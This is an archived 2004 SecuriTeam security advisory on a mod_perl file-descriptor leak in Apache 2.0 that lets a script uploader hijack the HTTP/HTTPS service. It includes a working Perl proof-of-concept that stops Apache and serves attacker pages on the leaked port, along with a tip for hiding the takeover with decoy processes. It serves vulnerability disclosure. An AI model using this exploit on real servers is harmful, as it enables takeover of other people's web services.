

[UNIX] Hijacking Apache HTTP/HTTPS Services Using Mod_perl File Descriptor Leakage

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0075.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/22/04

To: list@securiteam.com

Date: 22 Jan 2004 18:05:48 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Hijacking Apache HTTP/HTTPS Services Using Mod_perl File Descriptor Leakage

SUMMARY

The <<http://httpd.apache.org>> Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows NT.

Mod_perl under apache 2.0.x leaks critical file descriptors that can be used to hijack the http and https services.

DETAILS

Vulnerable Systems:

* Mod_perl version 1.99_09 with Apache 2.0.47

As in a previously published

<<http://www.securiteam.com/unixfocus/5JP091FBPI.html>> article, it is very hard to determine whether the problem is in Mod_perl or in Apache itself.

However, since Mod_php had the same problem it raises the probability that Apache itself is the culprit.

Securiteam: [UNIX] Hijacking Apache HTTP/HTTPS Services Using Mod_perl File Descriptor Leakage

Steve was testing the Apache server in Mandrake Linux 9.2 for this vulnerability using `env_audit`. Trimming the results to the interesting stuff, the following descriptors were found leaked:

Open file descriptor: 3

Local Port: 443, https

WARNING – Appears to be a listening descriptor

```
---
Open file descriptor: 4
Local Port: 80, http
WARNING - Appears to be a listening descriptor
---
Open file descriptor: 5
The descriptor is: pipe:[20034]
---
Open file descriptor: 6
The descriptor is: pipe:[20034]
---
Open file descriptor: 7
The descriptor is: /var/log/httpd/error_log
---
Open file descriptor: 8
The descriptor is: /var/log/httpd/ssl_error_log
---
Open file descriptor: 9
The descriptor is: /var/log/httpd/access_log
---
Open file descriptor: 10
The descriptor is: pipe:[20035]
---
Open file descriptor: 11
The descriptor is: pipe:[20035]
---
Open file descriptor: 12
The descriptor is: /var/log/httpd/ssl_access_log
---
Open file descriptor: 13
The descriptor is: pipe:[20035]
---
Open file descriptor: 14
The descriptor is: /var/log/httpd/ssl_request_log
---
Open file descriptor: 15
The descriptor is: /var/cache/apache2-mod_ssl/ssl_mutex.6791 (deleted)
---
Open file descriptor: 16
Local Port: 80, http
Out of these, we have two important ones. Since perl has all the
primitives for writing a network server, Steve decided to explore whether
or not its possible to hijack the apache 2 server by mod_perl with no
helper "C" programs.
Exploiting the vulnerability:
The technique is simple:

1) Fork and daemonize yourself.
2) Do something evil to Apache.
2) Select on the leaked descriptor and start serving pages.
```

At the end of this advisory is a proof-of-concept code that you can run

Securiteam: [UNIX] Hijacking Apache HTTP/HTTPS Services Using Mod_perl File Descriptor Leakage

under Mod_perl. It is assumed that paying customers can ftp anything they want into their website and mod_perl scripting is enabled.

```
cp mod_perl-spoit.pl /var/www/perl
```

```
lynx http://localhost/perl/mod\_perl-spoit.pl
```

Now, ps -ef to see how things are going:

```
apache 3107 2652 0 17:00 ? 00:00:00 httpd2 -f /etc/httpd/conf/httpd2
apache 3108 2640 0 17:00 ? 00:00:00 httpd2 -f /etc/httpd/conf/httpd2
```

So far, so good...

```
lynx http://localhost
```

And you should see the "You're owned" message. The really sneaky part is that 'ps -ef' gives only a minor hint that apache has been replaced. The only way to tell something is abnormal is by noticing that there are only two apache instances, while a normal Mandrake server in its default configuration shows 5 instances. But, forking off a few decoy children should be easy enough to do.

This was tested on a fully updated Mandrake 9.2 system. One other side note, env_audit only showed the normal 3 open descriptors when run on a Red Hat 9 machine. This would indicate a difference in the implementation of mod_perl between the two distributions. Because env_audit is run as an exec'd program, it may not be able to "see" all the descriptors that are available to native mod_perl programs.

If you give any client access to mod_perl and they can add a new script, they can hijack Apache without needing root privileges. Sandboxing or Jailing Apache may not help prevent a takeover since the descriptor is leaked into mod_perl. Note, the https listening descriptor is leaked as well. The http descriptor was chosen for demonstrational purposes only. You can test your apache setup with the http://www.web-insights.net/env_audit env_audit program.

Proof of Concept code:

```
#!/usr/bin/perl

use POSIX qw(setsid);

if (!defined(my $pid = fork)) {
    print "Content-Type: text/html\n\n";
    print "cannot fork: $!";
    exit 1;
} elsif ($pid) { # This is the parent
    sleep(1);
    print "Content-Type: text/html\n\n";
    print "< html>< body>Exploit installed< /body>< /html>";
    system '/usr/sbin/httpd2 -k stop';
    sleep(2);
    exit 0;
}

# This is the Child
setsid;
sleep(2);
my $leak = 4;
open(Server, "+< &$leak");
while (1) {
    my $rin = '';

```

Securiteam: [UNIX] Hijacking Apache HTTP/HTTPS Services Using Mod_perl File Descriptor Leakage

```
vec($rin,fileno(Server),1) = 1;
$found = select($rout = $rin, undef, undef, undef);
if (accept(Client,Server) ) {
    print Client "HTTP/1.0 200 OK\n";
    print Client "Content-Length: 40\n";
    print Client "Content-Type: text/html\n\n";
    print Client "< html>< body>";
    print Client "You're owned.";
    print Client "< /body>< /html>";
    close Client;
}
}
```

Workaround:

There is no vendor provided solution (i.e: Mandrake Linux). Mandrake security have been contacted. The Apache project was contacted as early as October 2002. The bug was partially fixed in Apache version 2.0.45 but the new version (2.0.47) shipped with Mandrake seems to leak all the descriptors. The patch in Apache 2.0.45 doesn't seem to work at all for Mod_perl.

ADDITIONAL INFORMATION

The information has been provided by <mailto:linux_4ever@yahoo.com> Steve Grubb

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securitea

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental,